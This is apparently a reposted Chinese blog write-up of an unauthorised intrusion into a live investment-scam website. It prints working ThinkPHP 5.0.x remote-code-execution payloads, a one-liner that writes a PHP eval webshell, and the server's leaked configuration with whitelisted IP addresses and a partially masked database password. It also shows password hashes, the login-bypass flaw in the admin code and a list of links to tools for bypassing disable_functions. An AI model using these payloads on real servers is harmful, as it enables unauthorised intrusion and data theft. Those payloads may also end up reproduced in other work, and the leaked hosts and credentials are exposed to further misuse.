0x01 前言
微信群里一女装大佬给我私发了一个杀猪盘,说她朋友在这个平台上被骗了4W+,求助“日站”!
随便注册了个用户进去看了下,界面大致如下,应该属于投资理财类杀猪盘,就是通过各种诱导方式让受害者去他们的平台理财。
0x02 ThinkPHP Getshell
ThinkPHP V5.0.10
框架,这个版本存在有RCE漏洞。http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=phpinfo()&_method=__construct&method=&filter[]=assert
exec()、passthru()、system()、shell_exec()
等命令执行函数被限制了,猜测应该是用宝塔搭建的,默认就禁止了这些常见危险函数,所以暂时没办法直接反弹shell。Use of undefined constant __construct - assumed '__construct'
,但其实文件已经写进去了。s=file_put_contents('1.php','<?php @eval($_POST[cmd]);')&_method=__construct&method=&filter[]=assert
0x03 后台白名单IP限制
非法IP访问:58.**.***.122
,原以为管理员是通过X-
Forwarded-For
或User-Agent
来限制访问后台的,但在经过测试后发现都不是的,后台这里卡了我好一阵!// 默认模块名
'default_module' => 'home',
// 禁止访问模块
'deny_module_list' => ['common'],
//设置某些IP可以访问模块
'allow_module_ip' =>['admin' => ['103.209.102.145','130.105.248.4','43.243.95.241','175.176.8.174','118.143.235.124','43.243.95.249','130.105.179.66','108.162.229.68','43.243.95.204','103.19.165.6','175.158.200.177','175.176.15.145','210.4.101.2','203.177.230.194','45.119.203.90']],
// 默认控制器名
'default_controller' => 'Index',
// 默认操作名
'default_action' => 'index',
// 默认验证器
'default_validate' => '',
// 默认的空控制器名
'empty_controller' => 'Error',
// 操作方法后缀
'action_suffix' => '',
// 自动搜索控制器
'controller_auto_search' => false,
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => "127.0.0.1",
// 数据库名
'database' => "alj",
// 用户名
'username' => "alj",
// 密码
'password' =>"wM5t4T***iTX32Mi",
// 端口
'hostport' => "3306",
alj
数据库,然后在dl_user
表中找到网站后台管理员的用户密码,加密方式为MD5,但是都解密不了。txzh_admin
是管理员表,还一直在找它的解密方式,经朋友@久久久提醒才发现找错管理员表了,在这个表中可以看到admin
是被“别人”改过的。agent | $2y$10$b5bRaCojDtS4j6moFTSUv.t/bESHmsreyK7IDEBud.q9k1XvbfMQm
user | $2y$10$eA5sl1MzHc5H3aZHkEWur.DDiKDKJw6YAC/C8SyXmh4868rzZketu
admin | e10adc3949ba59abbe56e057f20f883e
!
删掉即可,输入用户admin
,密码随意就可以直接登录后台了。//检验登入
public function checkLogin($username,$password){
$rs = $this->get(['username' => $username]);
session('info',$rs);
if(!$rs){
$this->error='用户不存在或已被禁用!';
return false;
}else{
if($rs['password']!== md5($password)){
$this->error='用户名或密码错误!';
return true;
}
}
...SNIP...
}
/www/wwwroot/aljex/app/admin/controller/Login.php:
public function login(Request $request)
{
$username= $request->post('username');//获取用户名
$password= $request->post('password');//获取密码
$user = new User();
//验证登入
if(!$user->checkLogin($username,$password)){
$this->error($user->getError());
}
//记录日志
$operation_obj = new NetOperation();
$operation_obj->writeLog();
$this->success('登录成功!', url('Index/index'));
}
0x04 绕过disable_functions
LD_PRELOAD & putenv()
绕过disable_functions执行系统命令。-
https://github.com/mm0r1/exploits/
-
https://github.com/l3m0n/Bypass_Disable_functions_Shell
-
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
推荐阅读:
▶【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
本文始发于微信公众号(Hacking黑白红):【渗透实战系列】20|一次理财杀猪盘渗透测试案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论